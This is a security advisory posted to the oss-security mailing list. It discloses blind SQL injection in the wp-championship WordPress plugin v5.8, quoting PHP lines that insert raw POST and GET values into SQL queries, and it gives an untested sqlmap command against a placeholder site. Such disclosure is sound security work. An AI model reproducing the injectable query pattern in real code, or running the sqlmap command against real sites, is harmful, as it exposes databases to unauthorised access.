Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
[<prev] [next>] [day] [month] [year] [list]
Date: Mon, 09 Nov 2015 18:12:59 -0500
From: Larry Cashdollar <larry0@...com>
To: Open Security <oss-security@...ts.openwall.com>
Subject: Blind SQL injection in wp-championship wordpress plugin v5.8

Title: Blind SQL injection in wp-championship wordpress plugin v5.8
Author: Larry W. Cashdollar, @_larry0
Date: 2015-10-22
Download Site: https://wordpress.org/plugins/wp-championship/
Vendor: https://profiles.wordpress.org/tuxlog/ http://www.tuxlog.de/
Vendor Notified: 2015-10-23, fixed in v5.9
Vendor Contact: webmaster@...log.de
Description: wp-championship is a plugin for wordpress letting you play a
guessing game of a tournament e.g. soccer.
Vulnerability:
The following lines do not properly sanitize user input resulting in SQLi,
injection points are POST request
To user, isadmin,mail service,mailresceipt,stellv,champtipp and tippgroup.
Also GET requests to userid.

The code from cs_admin_users.php is as follows:

69                                 $sql="select count(*) as anz from
$cs_users where userid=".$_POST['user'].";";
 70                                 $results = $wpdb->get_row($sql);
.
.
 74                                         $sql = "insert into ". $cs_users
." values (". $_POST['user'] . "," . $_POST['isadmin'] . "," . $
_POST['mailservice'] . "," .$_POST['mailreceipt'] . "," . $_POST['stellv'] .
",".$_POST['champtipp'].",'1900-01-01 00:00:00',-1,'".$_POST
['tippgroup']."');";
 75                                         $results = $wpdb->query($sql);
.
.
86                                 $sql = "update ".$cs_users." set admin="
. $_POST['isadmin'] . ", mailservice=" . $_POST['mailservice'] .    ",
mailreceipt=" . $_POST['mailreceipt'] . ",stellvertreter=" .
$_POST['stellv'] . ",champion=" . $_POST['champtipp'] . ", tippgroup='".$
_POST['tippgroup']."' where userid=".$_POST['user'].";";
 87                                 $results = $wpdb->query($sql);
.
.
98                         $sql= "delete from ".$cs_users." where
userid=".$_GET['userid'].";";
99                         $results = $wpdb->query($sql);
.
.
110                         $sql= "select * from  $cs_users where
userid=".$_GET['userid'].";";
111                         $results = $wpdb->get_row($sql);
CVEID: 2015-5308
OSVDB:
Exploit Code:
Untested: 
$ sqlmap -u 
'http://wp.site:80/wp-admin/wp-championship/cs_admin_users.php&userid='
--data="isadmin=1&user" --cookie=AUTH_COOKIE_HERE --level=5 --risk=3
Screen Shots:
Advisory: http://www.vapidlabs.com/advisory.php?v=155



Powered by blists - more mailing lists

Your e-mail address:

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Powered by Openwall GNU/*/Linux - Powered by OpenVZ